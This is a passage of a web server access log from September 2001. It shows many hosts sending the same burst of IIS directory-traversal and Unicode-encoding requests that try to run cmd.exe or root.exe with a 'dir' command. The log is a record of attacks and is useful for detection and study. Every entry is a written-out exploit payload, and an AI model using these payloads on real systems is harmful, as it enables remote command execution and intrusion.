  3979. 20010918 14:06:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3980. 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3981. 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3982. 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3983. 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3984. 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3985. 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3986. 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3987. 20010918 14:06:11: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3988. 20010918 14:06:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3989. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3990. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3991. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3992. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3993. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3994. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3995. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3996. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3997. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3998. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3999. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4000. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4001. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4002. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4003. 20010918 14:10:00: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4004. 20010918 14:10:00: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4005. 20010918 14:11:05: aleone.ssb.rochester.edu [128.151.246.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4006. 20010918 14:11:05: aleone.ssb.rochester.edu [128.151.246.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4007. 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4008. 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4009. 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4010. 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4011. 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4012. 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4013. 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4014. 20010918 14:11:06: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4015. 20010918 14:11:07: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4016. 20010918 14:11:07: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4017. 20010918 14:11:07: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4018. 20010918 14:11:07: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4019. 20010918 14:11:07: aleone.ssb.rochester.edu [128.151.246.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4020. 20010918 14:11:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4021. 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4022. 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4023. 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4024. 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4025. 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4026. 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4027. 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4028. 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4029. 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4030. 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4031. 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4032. 20010918 14:12:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4033. 20010918 14:12:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4034. 20010918 14:12:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4035. 20010918 14:12:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4036. 20010918 14:12:04: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4037. 20010918 14:15:27: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4038. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4039. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4040. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4041. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4042. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4043. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4044. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4045. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4046. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4047. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4048. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4049. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4050. 20010918 14:15:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4051. 20010918 14:15:29: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4052. 20010918 14:15:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4053. 20010918 14:15:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4054. 20010918 14:15:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4055. 20010918 14:15:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4056. 20010918 14:15:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4057. 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4058. 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4059. 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4060. 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4061. 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4062. 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4063. 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4064. 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4065. 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4066. 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4067. 20010918 14:15:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4068. 20010918 14:15:32: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4069. 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4070. 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4071. 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4072. 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4073. 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4074. 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4075. 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4076. 20010918 14:17:14: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4077. 20010918 14:17:15: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4078. 20010918 14:17:15: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4079. 20010918 14:17:15: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4080. 20010918 14:17:16: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4081. 20010918 14:17:16: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4082. 20010918 14:17:16: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4083. 20010918 14:17:16: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4084. 20010918 14:17:16: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4085. 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4086. 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4087. 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4088. 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4089. 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4090. 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4091. 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4092. 20010918 14:17:25: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4093. 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4094. 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4095. 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4096. 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4097. 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4098. 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4099. 20010918 14:17:26: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4100. 20010918 14:17:27: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4101. 20010918 14:20:15: gauntlet.westernunion.com [206.201.224.10] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4102. 20010918 14:20:16: gauntlet.westernunion.com [206.201.224.10] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4103. 20010918 14:20:20: gauntlet.westernunion.com [206.201.224.10] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4104. 20010918 14:20:21: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4105. 20010918 14:20:21: gauntlet.westernunion.com [206.201.224.10] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4106. 20010918 14:20:25: gauntlet.westernunion.com [206.201.224.10] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4107. 20010918 14:20:25: gauntlet.westernunion.com [206.201.224.10] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4108. 20010918 14:20:25: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4109. 20010918 14:20:25: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4110. 20010918 14:20:25: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4111. 20010918 14:20:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4112. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4113. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4114. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4115. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4116. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4117. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4118. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4119. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4120. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4121. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4122. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4123. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4124. 20010918 14:22:52: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4125. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4126. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4127. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4128. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4129. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4130. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4131. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4132. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4133. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4134. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4135. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4136. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4137. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4138. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4139. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4140. 20010918 14:22:53: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4141. 20010918 14:22:54: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4142. 20010918 14:22:54: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4143. 20010918 14:22:54: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4144. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4145. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4146. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4147. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4148. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4149. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4150. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4151. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
